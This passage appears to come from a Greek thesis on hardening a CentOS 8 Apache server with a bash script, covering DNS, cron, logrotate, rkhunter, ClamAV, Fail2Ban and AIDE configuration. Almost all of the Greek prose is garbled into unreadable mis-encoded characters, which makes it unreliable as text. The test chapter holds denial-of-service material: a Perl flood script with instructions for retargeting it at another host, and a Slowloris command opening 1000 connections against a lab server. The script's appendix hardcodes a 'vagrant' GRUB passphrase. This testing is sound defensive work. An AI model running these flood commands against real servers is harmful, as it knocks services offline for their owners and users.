ρξνληθό δηάζηεκα. Όκσο ζα κπνξεί ν ρξήζηεο λα θιεηδώζεη ην ηεξκαηηθό ηνπ 

ζύζηεκα κε ρξήζε ηνπ εξγαιείνπ vlock ην νπνίν κπνξεί λα εγθαηαζηαζεί ζε Centos 8 

ιεηηνπξγηθό κε ηελ παξαθάησ εληνιή: 

sudo yum install vlock* -y 

 

3.3.14 Κιείδσκα λέσλ users θαη δηαγξαθή αρξείαζησλ users 

Μηα θαιή πξαθηηθή είλαη ε δεκηνπξγία λέσλ ρξεζηώλ κε εμ΄ νξηζκνύ shell ην 

/bin/false γηα λα απνηξέςεη πηζαλνύο εηζβνιείο λα απνθηήζνπλ πξόζβαζε ζηε γξακκή 

εληνιώλ κε απηνκαηνπνηεκέλα εξγαιεία. Σν bash script centos8-apache-hardening 

εθαξκόδεη ηα παξαπάλσ configurations θαζώο επίζεο δηαγξάθεη θαη αρξείαζηνπο 

ρξήζηεο κε ρξήζε ησλ παξαθάησ εληνιώλ: 

USERADD='/etc/default/useradd'  

sed -i 's/SHELL=.*/SHELL=\/bin\/false/' "$USERADD" 

sed -i 's/^# INACTIVE=.*/INACTIVE=35/' "$USERADD" 

for users in games gnats irc list news uucp; do 

 userdel -r "$users" 2> /dev/null 

done 
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3.3.15 Ρύζκηζε θαηάιιεισλ DNS Resolvers 

Έλα πνιύ ζεκαληηθό configuration πνπ πξαγκαηνπνηεί ην bash script centos8-apache-

hardening είλαη ε απνθπγή ηεο αιινίσζεο ησλ DNS απαληήζεσλ. Απηό καο 

ζσξαθίδεη από ηπρόλ man- in-the-middle attacks θαη άιινπο ηύπνπο επηζέζεσλ θαη 

θηλδύλνπο αζθαιείαο. Η αζθάιηζε ηνπ DNS ξπζκίδεηαη από ην script κε ρξήζε ηνπ 

παξαθάησ θώδηθα: 

RESOLVEDCONF='/etc/systemd/resolved.conf'  

NSSWITCH='/etc/nsswitch.conf'  

dnsarray=( $(grep nameserver /etc/resolv.conf | sed 's/nameserver//g') )  

dnslist=${dnsarray[@]} 

 

sed -i "s/^#DNS=.*/DNS=$dnslist/" "$RESOLVEDCONF" 

sed -i "s/^#FallbackDNS=.*/FallbackDNS=8.8.8.8 8.8.4.4/" "$RESOLVEDCONF" 

sed -i "s/^#DNSSEC=.*/DNSSEC=allow-downgrade/" "$RESOLVEDCONF" 

sed -i '/^hosts:/ s/files dns/files resolve dns/' $NSSWITCH 

Σέινο γηα λα ελεκεξσζνύλ νη παξαπάλσ αιιαγέο ζα πξέπεη λα γίλεη reload ην 

αληίζηνηρν service κε ρξήζε ηεο παξαθάησ εληνιήο: 

systemctl daemon-reload 

 

3.3.16 Απελεξγνπνίεζε cronjobs γηα ηνπο ρξήζηεο 

Ο Cron scheduler έρεη έλα ελζσκαησκέλν ηξόπν ειέγρνπ γηα ην πνηνο επηηξέπεηαη θαη 

πνηνο όρη λα θάλεη schedule jobs ζην ιεηηνπξγηθό. Ο έιεγρνο ξπζκίδεηαη κέζσ ησλ 

αξρείσλ /etc/cron.allow θαη /etc/cron.deny. Γηα λα απνθιεηζηεί έλαο ρξήζηε από ηελ 

ρξήζε ηνπ cron, ζα πξέπεη ην username ηνπ λα εηζαρζεί ζην αξρείν cron.deny. 

Αληίζηνηρα γηα λα επηηξαπεί ζα πξέπεη ην username ηνπ λα εηζαρζεί ζην αξρείν 

cron.allow. Αλ επηζπκνύκε λα απελεξγνπνηήζνπκε ην cron από όινπο ηνπο ρξήζηεο 

εθηόο ηνπ root, κπνξνύκε λα πξνζζέζνπκε ηε γξακκή „ALL‟ ζην αξρείν cron.deny.  

Δπνκέλσο ην bash script centos8-apache-hardening πξνθεηκέλνπ λα απελεξγνπνηήζεη 

ηα cronjobs γηα ηνπο ρξήζηεο, εθαξκόδεη ηα παξαθάησ configurations σο εμήο: 

rm /etc/cron.deny 2> /dev/null 

rm /etc/at.deny 2> /dev/null 
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echo 'root' > /etc/cron.allow 

echo 'root' > /etc/at.allow 

 

chown root:root /etc/cron* 

chmod og-rwx /etc/cron* 

 

chown root:root /etc/at* 

chmod og-rwx /etc/at* 

 

Σέινο γηα λα γίλνπλ apply ηα παξαπάλσ configurations γίλνληαη reload ηα services κε 

ρξήζε ησλ παξαθάησ εληνιώλ: 

systemctl mask atd.service 

systemctl stop atd.service 

systemctl daemon-reload 

 

3.3.17 Configuration ηνπ logrotate 

Γεληθά ζηα ιεηηνπξγηθά ζπζηήκαηα, αλ είλαη ελεξγνπνηεκέλε ε ιεηηνπξγία 

θαηαγξαθήο, ηόηε ηα αξρεία θαηαγξαθήο ζα ζπλερίδνπλ λα απμάλνπλ ζε κέγεζνο 

κέρξη πνπ ν θάθεινο /var/log ζα γεκίδεη θαη αλ δελ είλαη ην /var ζε μερσξηζηό 

partition, ηόηε ζα δεκηνπξγήζνπλ πξόβιεκα ζην ζύζηεκα θαζηζηώληαο ην αζηαζέο. 

Μηα ιύζε απηνύ ηνπ πξνβιήκαηνο είλαη ε ελεξγνπνίεζε ηεο αλαθύθισζεο ησλ 

αξρείσλ θαηαγξαθήο (logrotate). Η ελεξγνπνίεζε ηεο παξαπάλσ ιεηηνπξγίαο γίλεηαη 

κέζσ ηνπ αξρείνπ /etc/logrotate.conf.  

Έηζη ην bash script centos8-apache-hardening γηα λα ελεξγνπνηήζεη ηελ παξαπάλσ 

ιεηηνπξγία θαη λα ξπζκίζεη ώζηε λα αλαθπθιώλεη ν web server ηα αξρεία θαηαγξαθήο 

θάζε κέξα εθαξκόδεη ην παξαθάησ script σο configuration ζην αξρείν 

/etc/logrotate.conf σο εμήο: 

 log_rotate_configs=$(cat <<EOF 

# see "man logrotate" for details 

# rotate log files daily 

daily 

# use the syslog group by default, since this is the owning group  

# of /var/log/syslog. 
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su root syslog 

# keep 7 days worth of backlogs 

rotate 7 

# create new (empty) log files after rotating old ones 

create 

# use date as a suffix of the rotated file 

dateext 

# compressed log files 

compress 

# use xz to compress 

compresscmd /usr/bin/xz 

uncompresscmd /usr/bin/unxz 

compressext .xz 

# packages drop log rotation information into this directory 

include /etc/logrotate.d 

# no packages own wtmp and btmp -- we will rotate them here 

/var/log/wtmp { 

    monthly 

    create 0664 root utmp 

    minsize 1M 

    rotate 1 

} 

/var/log/btmp { 

    missingok 

    monthly 

    create 0600 root utmp 

    rotate 1 

} 

# system-specific logs may be also be configured here.  

EOF 

) 

 

append_config "$log_rotate_configs" $LOGROTATE 
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3.3.18 Δγθαηάζηαζε θαη ελεξγνπνίεζε ηνπ rkhunter 

Σν rkhunter είλαη έλα unix-based εξγαιείν ην νπνίν ζθαλάξεη γηα rootkits, backdoors 

θαη πηζαλά ηνπηθά exploits. Σν θάλεη απηό πξαγκαηνπνηώληαο ζύγθξηζε ησλ SHA-1 

hashes ησλ ζεκαληηθώλ θαθέισλ κε ρξήζε γλσζηώλ θαιώλ online βάζεσλ 

δεδνκέλσλ, ςάρλεη γηα πξνεπηιεγκέλνπο θαθέινπο ησλ rootkits, ιάζε ζε permissions, 

θξπκκέλα αξρεία, ύπνπηεο ζπκβνινζεηξέο ζε kernel modules θαη εηδηθέο δνθηκέο γηα 

Linux θαη FreeBSD εθδόζεηο. Έλα αθόκε αμηνζεκείσην ηνπ rkhunter είλαη όηη έρεη 

εληαρζεί ζε δεκνθηιή ιεηηνπξγηθά ζπζηήκαηα όπσο Fedora θαη Debian θ.α.  

Σν εξγαιείν απηό έρεη γξαθηεί ζε Bourne shell γηα λα επηηξέπεη ζπκβαηόηεηα. 

Μπνξεί λα ηξέρεη ζε ζρεδόλ όια ηα Unix ζπζηήκαηα [22]. 

Σν bash script centos8-apache-hardening εγθαζηζηά θαη ελεξγνπνηεί ην παξαπάλσ 

εξγαιείν κε ρξήζε ησλ παξαθάησ εληνιώλ: 

sudo yum install –y rkhunter 

RKHUNTERCONF='/etc/rkhunter.conf'  

sed -i 's/ALLOW_SSH_ROOT_USER=.*/ALLOW_SSH_ROOT_USER=no/g' 

$RKHUNTERCONF 

append_config "CRON_DAILY_RUN=\"yes\"" $RKHUNTERCONF 

append_config "APT_AUTOGEN=\"yes\"" $RKHUNTERCONF 

Η εθηέιεζε ηνπ rkhunter εξγαιείνπ γίλεηαη κε ρξήζε ηεο παξαθάησ εληνιήο: 

rkhunter –propupd 

 

3.3.19 Δγθαηάζηαζε θαη ελεξγνπνίεζε ηνπ ClamAV 

Σν ClamAV antivirus είλαη έλα δσξεάλ ινγηζκηθό, cross-platform θαη αλνηρηνύ 

θώδηθα εξγαιείν ην νπνίν κπνξεί λα αληρλεύεη πνιινύο ηύπνπο βιαβεξώλ ινγηζκηθώλ 

ζπκπεξηιακβαλνκέλνπ ηνύο. Μηα από ηηο θύξηεο ρξήζεηο ηνπ είλαη ζε mail servers ζαλ 

έλαο ζαξσηήο server-side γηα emails. Η εθαξκνγή αλαπηύρζεθε γηα ην Unix θαη έρεη 

δηαζέζηκεο θαη third party εθδόζεηο δηαζέζηκεο γηα AIX, BSD, HP-UX, Linux, 

macOS, OpenVMS, OSF (Tru64) θαη Solaris. Από ηελ έθδνζε 0.97.5, ην ClamAV 

ηξέρεη επίζεο θαη ζε Microsoft Windows. Όιεο νη εθδόζεηο θαη νη ελεκεξώζεηο ηνπ 

είλαη δηαζέζηκεο δσξεάλ [23]. 
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Σν bash script centos8-apache-hardening εγθαζηζηά, ελεξγνπνηεί ην ClamAV 

antivirus θαη ην νξίδεη λα ηξέρεη θαζεκεξηλά (κε ρξήζε ηνπ cronjob scheduler) 

εθηειώληαο ηηο παξαθάησ εληνιέο : 

sudo yum install –y clamav clamav-update 

 

CLAMAVCONF='/etc/clamd.d/scan.conf'  

CLAMAVSERVICE='/usr/lib/systemd/system/clamd@.service'  

CRON_DAILY_CLAMSCAN='/etc/cron.daily/user_clamscan'  

setsebool -P antivirus_can_scan_system 1 

sed -i 's/#LocalSocket \/run/LocalSocket \/run/g' $CLAMAVCONF 

sed -i 's/scanner (%i) daemon/scanner daemon/g' $CLAMAVSERVICE 

sed -i 's/\/etc\/clamd.d\/%i.conf/\/etc\/clamd.d\/scan.conf/g' $CLAMAVSERVICE 

freshclam 

 

systemctl enable clamav-freshclam.service 

systemctl start clamav-freshclam.service 

 

mkdir /var/log/clamav/ 

touch /var/log/clamav/user_clamscan.log 

 cron_clamscan=$(cat <<EOF 

#!/bin/bash 

# SCAN_DIR="/home" 

# LOG_FILE="/var/log/clamav/user_clamscan.log" 

/usr/bin/clamscan - i -r /home >> /var/log/clamav/user_clamscan.log 

EOF 

) 

append_config "$cron_clamscan" $CRON_DAILY_CLAMSCAN 

chmod +x $CRON_DAILY_CLAMSCAN 

 

3.3.20 Δγθαηάζηαζε θαη ελεξγνπνίεζε ηνπ Fail2Ban 

Σν Fail2Ban είλαη έλα ινγηζκηθό πξόβιεςεο εηζβνιήο (intrusion prevention software 

- IDS) ην νπνίν πξνζηαηεύεη ηνπο servers από επηζέζεηο brute-force. Έρεη γξαθηεί ζε 

γιώζζα πξνγξακκαηηζκνύ Python, θαη κπνξεί λα ηξέμεη ζε POSIX ζπζηήκαηα ηα 
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νπνία έρνπλ κηα δηεπαθή ζε έλα ζύζηεκα ειέγρνπ παθέησλ ή ζε εγθαηεζηεκέλν 

ηνπηθά firewall, γηα παξάδεηγκα iptables ή TCP Wrapper [24]. 

Σν bash script centos8-apache-hardening εγθαζηζηά, ελεξγνπνηεί ην Fail2Ban κε 

ρξήζε ησλ παξαθάησ εληνιώλ: 

yum install -y fail2ban 

log_info "Is going to enable Fail2Ban" 

systemctl enable fail2ban 

systemctl start fail2ban 

  

 jail_local=$(cat <<EOF 

[ssh] 

 

enabled = true 

port = ssh 

filter = sshd 

logpath = /var/log/auth.log 

maxretry = 3 

EOF 

) 

 

touch /var/log/auth.log 

append_config "$jail_local" $FAIL2BAN_CONFIG 

Σέινο γηα λα πεξάζνπλ ηα παξαπάλσ configurations ρξεηάδεηαη λα γίλεη επαλεθθίλεζε 

ηνπ fail2ban θαη ζηε ζπλέρεηα εθηππώλεηαη ην status ηνπ IDS κε ρξήζε ησλ 

παξαθάησ εληνιώλ: 

systemctl restart fail2ban 

systemctl status fail2ban --no-pager 

 

3.3.21 Δγθαηάζηαζε θαη ελεξγνπνίεζε ηνπ AIDE 

Σν Advanced Intrusion Detection Environment (AIDE) αξρηθά αλαπηύρζεθε ζαλ κηα 

δσξεάλ αληηθαηάζηαζε ηνπ Tripwire κε ηελ άδεηα ζύκθσλα κε ηνπο όξνπο ηνπ GNU 

General Public Licence (GPL). 



70 
 

Σν AIDE παίξλεη έλα “ζηηγκηόηππν” (snapshot) ηεο ηξέρνπζαο θαηάζηαζεο ηνπ 

ζπζηήκαηνο, register hashes, ρξόλνπο ηξνπνπνηήζεσλ θαη άιια δεδνκέλα αλαθνξηθά 

κε ηα αξρεία πνπ νξίδνληαη από ηνλ δηαρεηξηζηή. Απηό ην “ζηηγκηόηππν” 

ρξεζηκνπνηείηαη γηα λα ρηίζεη κηα βάζε ε νπνία απνζεθεύεηαη θαη κπνξεί λα θπιαρζεί 

ζε κηα εμσηεξηθή ζπζθεπή γηα  backup. 

Όηαλ ν δηαρεηξηζηήο ζέιεη λα ηξέμεη έλα test αθεξαηόηεηαο, ν δηαρεηξηζηήο ηνπνζεηεί 

ηελ πξνεγνύκελε έθδνζε ηεο βάζεο ζε έλα πξνζβάζηκν κέξνο θαη δίλεη νδεγία ζην 

AIDE λα ζπγθξίλεη ηελ βάζε έλαληη ηνπ πξαγκαηηθνύ status ηνπ ζπζηήκαηνο. Αλ έρεη 

ζπκβεί κηα αιιαγή ζηνλ server κεηαμύ ηεο δεκηνπξγίαο ηνπο ζηηγκηόηππνπ θαη ηνπ 

ηξέρνληνο test αθεξαηόηεηαο ηνπ ζπζηήκαηνο, ην AIDE ζα ηελ βξεη θαη ζα ηελ 

αλαθέξεη ζηνλ δηαρεηξηζηή. Δλαιιαθηηθά ην AIDE κπνξεί λα ξπζκηζηεί λα ηξέρεη 

πεξηνδηθά θαη λα θάλεη report ηηο αιιαγέο ζηνλ δηαρεηξηζηή θαζεκεξηλά 

ρξεζηκνπνηώληαο ζαλ scheduling ηερλνινγία ην cron, ε νπνία είλαη ε πξνεπηιεγκέλε 

ζπκπεξηθνξά ηνπ Debian AIDE παθέηνπ. 

Απηό κπνξεί λα είλαη ρξήζηκν γηα ιόγνπο αζθαιείαο, γηαηί δεδνκέλεο κηαο επηβιαβήο 

αιιαγήο ε νπνία κπνξεί λα έρεη ζπκβεί ζην ζύζηεκα, ζα γίλεη report από ην AIDE 

[25]. 

Σν bash script centos8-apache-hardening εγθαζηζηά, ελεξγνπνηεί ην AIDE θαη 

ρξεζηκνπνηεί ην cron scheduling κε ρξήζε ησλ παξαθάησ εληνιώλ: 

yum install –y aide 

 

AIDECONFIG='/etc/aide.conf'  

AIDE_CHECK_SERVICE='/etc/systemd/system/aidecheck.service'  

AIDE_CHECK_TIMER='/etc/systemd/system/aidecheck.timer'  

sed -i 's/^Checksums =.*/Checksums = sha512/' $AIDECONFIG 

log_info "Is going to set Aide postinstall" 

aide --init 

log_info "Building AIDE initial db, please wait..." 

cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2> /dev/null 1>&2 

 

log_info "Enabling AIDE check daily..." 

 aide_check_service=$(cat <<EOF 

[Unit] 
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Description=Aide Check 

[Service] 

Type=simple 

ExecStart=/usr/sbin/aide --check 

[Install]  

WantedBy=multi-user.target 

EOF 

) 

append_config "$aide_check_service" $AIDE_CHECK_SERVICE 

  

 aide_check_timer=$(cat <<EOF 

[Unit] 

Description=Aide check every day at midnight 

[Timer] 

OnCalendar=*-*-* 00:00:00 

Unit=/etc/systemd/system/aidecheck.service 

[Install]  

WantedBy=multi-user.target 

EOF 

) 

append_config "$aide_check_timer" $AIDE_CHECK_TIMER 

chmod 0644 /etc/systemd/system/aidecheck.* 

Σέινο γηα λα ελεξγνπνηεζεί πιήξσο ην AIDE tool, ζα πξέπεη λα γίλνπλ επαλεθθίλεζε 

θαη reload ηα παξαθάησ services: 

systemctl reenable aidecheck.timer 

systemctl start aidecheck.timer 

systemctl daemon-reload 
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4 Γνθηκέο Αζθαιείαο 

΢ε απηό ην θεθάιαην παξνπζηάδνληαη νη δνθηκέο πνπ πξαγκαηνπνηνύληαη ζην Centos 

8 Web Server κεηά ηελ νινθιήξσζε ηεο εθηέιεζεο ηνπ bash script centos8-apache-

hardening.sh. Πνην ζπγθεθξηκέλα εμεηάδεηαη ε νξζή ιεηηνπξγία ην Mod_Security θαη 

ηνπ Mod_Evasive κεηά από ηελ νινθιήξσζε ησλ απαξαίηεησλ εγθαηαζηάζεσλ θαη 

configurations από ην bash script. Σέινο πξαγκαηνπνηείηαη κηα δνθηκαζηηθή επίζεζε 

Slowloris ζην Centos 8 Web server πξηλ θαη κεηά ηελ νινθιήξσζε θαη εγθαηάζηαζε 

όισλ ησλ απαξαίηεησλ security hardening ξπζκίζεσλ ηνπ bash script ζην Centos 8 

Web server πξνθεηκέλνπ λα αμηνινγεζεί ν βαζκόο επαύμεζεο αζθάιεηαο ηνπ Web 

server. 

4.1 Γνθηκή νξζήο ιεηηνπξγίαο ηνπ Mod_Security 

Γηα λα δνθηκάζνπκε αλ ην mod_security module δνπιεύεη ζσζηά, ζα 

ρξεζηκνπνηήζνπκε ην curl γηα λα ζηέιλνπκε HTTP requests ζην Centos 8 Apache 

Web Server. Έλαο από ηνπο πξνεπηιεγκέλνπο θαλόλεο ηνπ mod_security είλαη λα 

θάλεη reject ηα requests ηα νπνία έρνπλ User Agent “Nessus”. Απηόο ν θαλόλαο έρεη 

σο ζθνπό λα αξλείηαη πιεξνθνξίεο ζε επηηηζέκελνπο πνπ ρξεζηκνπνηνύλ 

απηνκαηνπνηεκέλνπο scanners. 

Μπνξνύκε κε ηελ παξαθάησ curl εληνιή λα ειέγμνπκε αλ ην mod_security είλαη 

ζσζηά ξπζκηζκέλν: 

curl - i http://localhost -A Nessus 

Θα δνύκε κηα απάληεζε 403 Forbidden όπσο θαίλεηαη θαη ζηελ παξαθάησ εηθόλα: 

 

Εικόνα 14. Έλεγσορ οπθήρ λειηοςπγίαρ ηος Mod_Security 

Σν mod_security κπιόθαξε ην request γηαηί αλαγλώξηζε όηη ν User Agent είλαη έλα 

Nessus scan. 
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Σν bash script centos8-apache-hardening.sh θαηά ηελ δηάξθεηα εθηέιεζήο ηνπ θαη 

κόιηο έρεη νινθιεξώζεη ηα απαξαίηεηα installations θαη configurations γηα ην 

Mod_Security, δνθηκάδεη αλ έρνπλ γίλεη apply ζσζηά ηα παξαπάλσ configurations 

ηξέρνληαο ηνλ παξαθάησ test θώδηθα: 

mod_security_status_code=`curl -s -o /dev/null -w "%{http_code}" http://localhost -A 

Nessus` 

 if [ "$mod_security_status_code" == "403" ]; then # 403 Forbidden 

  log_info "${COLOR_GREEN}Mod security test passed 

successfully!${COLOR_DEFAULT}" 

 else 

  curl - i http://localhost -A Nessus 

  log_info "${COLOR_RED}Mod_security test failed! 

${COLOR_DEFAULT}" 

 fi 

΢ε πεξίπησζε επηηπρίαο, δειαδή αλ επηζηξαθεί ην status code 403 από ην παξαπάλσ 

curl, ηόηε εκθαλίδεηαη ην παξαθάησ κήλπκα: 

 

Εικόνα 15. Μήνςμα επιηςσίαρ ελέγσος ηος Mod_Security 

Αιιηώο αλ δελ επηζηξαθεί ην παξαπάλσ status code, ηόηε εκθαλίδεη ζε θόθθηλε 

έλδεημε ην κήλπκα: Mod_security test failed! 

 

4.2  Γνθηκή νξζήο ιεηηνπξγίαο ηνπ Mod_Evasive 

Γηα λα δνθηκάζνπκε αλ ην mod_evasive module δνπιεύεη ζσζηά, ζα 

ρξεζηκνπνηήζνπκε ην Perl script test.pl ην νπνίν έρεη γξαθηεί από ηνπο Mod_Evasive 

developers θαη πξνζνκνηάδεη κηα security DoS επίζεζε ζηνλ Apache Web Server. 

Απηό ην script εγθαζίζηαηαη κεηά ηελ νινθιήξσζε ηνπ mod_evasive ζην path 

/usr/share/doc/mod_evasive/test.pl θαη παξαθάησ επηζπλάπηεηαη ν θώδηθάο ηνπ perl 

script: 

#!/usr/bin/perl 

 

# test.pl: small script to test mod_dosevasive's effectiveness 
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use IO::Socket; 

use strict; 

 

for(0..100) { 

  my($response); 

  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",  

                                      PeerAddr=> "127.0.0.1:80"); 

  if (! defined $SOCKET) { die $!; }  

  print $SOCKET "GET /?$_ HTTP/1.0\r\n\r\n"; 

  $response = <$SOCKET>; 

  print $response; 

  close($SOCKET); 

} 

Να ζεκεησζεί όηη πξηλ από ηελ ρξήζε ηνπ παξαπάλσ test.pl script πξαγκαηνπνηείηαη 

από ην bash script centos8-apache-hardening.sh κηα δηόξζσζε κε ρξήζε ηεο 

παξαθάησ εληνιήο γηα λα επηζηξέςεη ην επηζπκεηό απνηέιεζκα: 

MOD_EVASIVE_TEST_SCRIPT='/usr/share/doc/mod_evasive/test.pl'  

sed -i 's/HTTP\/1.0\\n\\n/HTTP\/1.0\\r\\n\\r\\n/g' $MOD_EVASIVE_TEST_SCRIPT 

  

 

 

 

 

 

  

 

Εικόνα 16. Έλεγσορ οπθήρ λειηοςπγίαρ ηος 

Mod_Evasive 

 

Γηα λα ρξεζηκνπνηήζνπκε ην παξαπάλσ perl 

script, αξθεί λα ηξέμνπκε ηελ παξαθάησ εληνιή: 

sudo perl /usr/share/doc/mod_evasive/test.pl 

θαη ε έμνδνο πνπ πεξηκέλνπκε λα πάξνπκε είλαη 

ηα HTTP/1.1 403 Forbidden όπσο θαίλνληαη θαη 

ζηελ δηπιαλή εηθόλα ηα νπνία ζεκαίλνπλ όηη ε 

πξόζβαζε έρεη θνπεί ζε θαθόβνπια requests: 
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Αλ ζέινπκε λα ηξέμνπκε ην παξαπάλσ Perl script από άιιν host ν νπνίνο ζα ρηππάεη 

ην Centos 8 Apache Web Server, αληηθαζηζηνύκε από ην παξαπάλσ script ηελ 

παξάκεηξν PeerAddr θαη βάδνπκε ηελ IP δηεύζπλζε ηνπ Web Server πνπ ζέινπκε λα 

ρηππήζνπκε, δειαδή βάδνπκε:  

PeerAddr=> " 172.28.128.21:80"); 

Σν bash script centos8-apache-hardening.sh θαηά ηελ δηάξθεηα εθηέιεζήο ηνπ θαη 

κόιηο έρεη νινθιεξώζεη ηα απαξαίηεηα installations θαη configurations γηα ην 

mod_evasive module, δνθηκάδεη αλ έρνπλ γίλεη apply ζσζηά ηα παξαπάλσ 

configurations ηξέρνληαο ηνλ παξαθάησ test θώδηθα: 

bad_request_count=`perl $MOD_EVASIVE_TEST_SCRIPT | grep 'HTTP/1.1 400 

Bad Request' | wc - l̀  

 if [ "$bad_request_count" -gt "80" ]; then 

  log_info "${COLOR_GREEN}Mod evasive test passed successfully! 

${COLOR_DEFAULT}" 

 else 

  log_info "${COLOR_RED}Mod_evasive test failed! 

${COLOR_DEFAULT}" 

 fi 

΢ε πεξίπησζε επηηπρίαο, δειαδή επηζηξαθνύλ πάλσ από 80% 403 Forbidden 

απαληήζεηο πνπ ζα είλαη απνηέιεζκα ηεο εθηέιεζεο ηνπ perl test.pl script ηόηε 

εκθαλίδεη ην παξαθάησ κήλπκα επηηπρίαο: 

 

Εικόνα 17. Μήνςμα επιηςσίαρ ελέγσος ηος Mod_Evasive  

Αιιηώο αλ απνηύρεη ην mod_evasive test εκθαλίδεη κε θόθθηλε επηζήκαλζε ην εμήο 

κήλπκα: Mod_evasive test failed! 

Δπηπξόζζεηα ην mod_evasive εκθαλίδεη ζην syslog όηαλ ε IP δηεύζπλζε είλαη 

κπινθαξηζκέλε. Απηό κπνξνύκε λα ην δνύκε βιέπνληαο ην παξαθάησ log file κε ηελ 

εληνιή: 

sudo tail -f /var/log/messages  

θαη κπνξνύκε λα δνύκε γηα παξάδεηγκα ηελ παξαθάησ έμνδν: 

Jun  7 19:03:41 centos8 mod_evasive[2732]: Blacklisting address 192.168.1.42: 

possible DoS attack. 
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4.3 Γνθηκή Slowloris επίζεζεο ζην Centos 8 Web Server  

4.3.1 Δπίζεζε Slowloris πξηλ από ην Security Hardening ηνπ Centos 8 Web 

Server 

΢ην Centos 8 Apache Web Server έρνπκε θνξηώζεη ηνπηθά ηελ παξαθάησ ζειίδα ε 

νπνία θνξηώλεηαη θαλνληθά ρηππώληαο ην url ηνπ apache web server: 

http://172.28.128.21/ 

 

 

Εικόνα 18. Σελίδα ηος Apache Web Server 

 

΢ηε ζπλέρεηα ζα ππεξθνξηώζνπκε ηελ παξαπάλσ ηζηνζειίδα δίλνληαο 1000 

ηαπηόρξνλεο ζπλδέζεηο κε ρξήζε ηνπ slowloris script ηνπ νπνίνπ ν θώδηθαο 

επηζπλάπηεηαη ζην Παξάξηεκα 2: 

 

python3 slowloris.py 172.28.128.21 -p 80 -s 1000 --sleeptime 1 

 

http://172.28.128.21/


77 
 

 

Εικόνα 19. Υπεπθόπηυζη ηηρ ζελίδαρ ηος Apache Web Server με σπήζηη ηος slowloris script 

 

΢ηελ παξαθάησ εηθόλα βιέπνπκε όηη ε ηζηνζειίδα ζηακάηεζε λα αληαπνθξίλεηαη  

 

Εικόνα 20. Η ζελίδα ηος Apache Web Server ζηαμαηά να ανηαποκπίνεηαι 

 

 

4.3.2 Δπίζεζε Slowloris κεηά από ην Security Hardening ηνπ Centos 8 Web 

Server 

Μεηά ηελ νινθιήξσζε ηνπ Security Hardening process κε ρξήζε ηνπ bash script 

centos8-apache-hardening.sh ζην Centos 8 Web Server όπσο βιέπνπκε θαη ζηηο 

παξαθάησ εηθόλεο: 
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Εικόνα 21. Έναπξη εκηέλεζηρ script centos8-apache-hardening.sh 

… 

 

Εικόνα 22. Ολοκλήπυζη εκηέλεζηρ script centos8-apache-hardening ζηον Apache Web Server 

ππεξθνξηώζνπκε μαλά ηελ παξαπάλσ ηζηνζειίδα δίλνληαο 1000 ηαπηόρξνλεο 

ζπλδέζεηο κε ρξήζε ηνπ slowloris script κε ηελ παξαθάησ εληνιή: 

python3 slowloris.py 172.28.128.21 -p 80 -s 1000 --sleeptime 1 
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Εικόνα 23. Υπεπθόπηυζη ηηρ ζελίδαρ ηος Apache Web Server με σπήζηη ηος slowloris script μεηά ηην 

ολοκλήπυζη ηος script centos8-apache-hardening 

 

Παξαηεξνύκε όηη ρηππώληαο ηελ ζειίδα ζην Url: http://172.28.128.21/ θνξηώλεηαη 

θαλνληθά όπσο βιέπνπκε θαη ζηελ παξαθάησ εηθόλα: 

 

Εικόνα 24. Η ζελίδα ηος Apache Web Server ανηαποκπίνεηαι συπίρ ππόβλημα ενώ εκηελείηαι ηο slowloris 

script 

Δπνκέλσο, ην security hardening process έρεη νινθιεξσζεί επηηπρώο ζην Centos 8 

Apache Web Server θαη πιένλ αληέρεη ν Web Server από πηζαλέο DDoS επηζέζεηο 

ρσξίο θαλέλα πξόβιεκα. 

 

 

http://172.28.128.21/
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5 Παξαξηήκαηα 

5.1 Παξάξηεκα 1: Κώδηθαο ηνπ centos8-apache-hardening.sh bash script 

γηα επαύμεζε αζθαιείαο Centos 8 Web Server 

#!/bin/bash 

 

DEV=1 

SCRIPT_NAME='centos8-apache-hardening' 

PWD=$(pwd) 

FILE=${PWD}'/step.dat' 

LOCK_FILE=${PWD}"/${SCRIPT_NAME}.lok"  

 

NEW_LINE=" " 

PREREQUISITES_PACKAGES='yum-utils vim wget httpd-devel expect net-tools at epel-release' 

IPTABLES_CONFIG='/etc/sysconfig/iptables' 

IPTABLES_PACKAGE='iptables -services' 

MOD_SECURITY='mod_security mod_security_crs' 

MOD_EVASIVE='mod_evasive' 

MOD_EVASIVE_TEST_SCRIPT='/usr/share/doc/mod_evasive/test.pl' 

HTTPD_CONF='/etc/httpd/conf/httpd.conf' 

HTTPD_HTML='/var/www/html/index.html'  

BASE_MODULES='/etc/httpd/conf.modules.d/00-base.conf' 

MOD_SECURITY_CONF='/etc/httpd/conf.d/mod_security.conf' 

MOD_EVASIVE_CONF='/etc/httpd/conf.d/mod_evasive.conf' 

CUSTOM_CRS_CONF='/etc/httpd/modsecurity.d/custom-crs.conf' 

SSHD_CONFIG='/etc/ssh/sshd_config' 

SSHD_PAM='/etc/pam.d/sshd' 

ISSUE_NET='/etc/issue.net' 

CURRENT_USER=${SUDO_USER:-$USER} 

GRUB_SUPERUSER='vagrant'  

GRUB_PASSPHRASE='vagrant' 

MKPASSW D='/usr/bin/grub2-mkpasswd-pbkdf2' 

DEFAULTGRUB='/etc/default/grub' 

EXPECT='/usr/bin/expect'  

GRUB_40_CUSTOM='/etc/grub.d/40_custom' 

 

UNW_PROT='dccp sctp rds tipc' 

UNW_SERVICES='rpcbind' 

MOD='bluetooth firewire-core net-pf-31 soundcore thunderbolt usb-midi usb-storage' 

UNW_FS='cramfs freevxfs jffs2 hfs hfsplus squashfs udf vfat' 

DISABLEFS='/etc/modprobe.d/disablemnt.conf' 

DISABLEMOD='/etc/modprobe.d/disablemod.conf'  

DISABLENET='/etc/modprobe.d/disablenet.conf' 

SYSTEMCONF='/etc/systemd/system.conf'  

USERCONF='/etc/systemd/user.conf' 

COREDUMPCONF='/etc/systemd/coredump.conf'  

LOGROTATE='/etc/logrotate.conf' 

JOURNALDCONF='/etc/systemd/journald.conf' 

SYSCTL='/etc/sysctl.conf' 

LIMITSCONF='/etc/security/limits.conf'  

ETC_PROFILE='/etc/profile '  

ETC_BASHRC='/etc/bashrc' 

 

HOSTS_ALLOW ='/etc/hosts.allow' 

HOSTS_DENY='/etc/hosts.deny' 

 

LOGINDCONF='/etc/systemd/logind.conf' 

LOGINDEFS='/etc/login.defs' 



82 
 

USERADD='/etc/default/useradd' 

NETCONFIG='/etc/netconfig' 

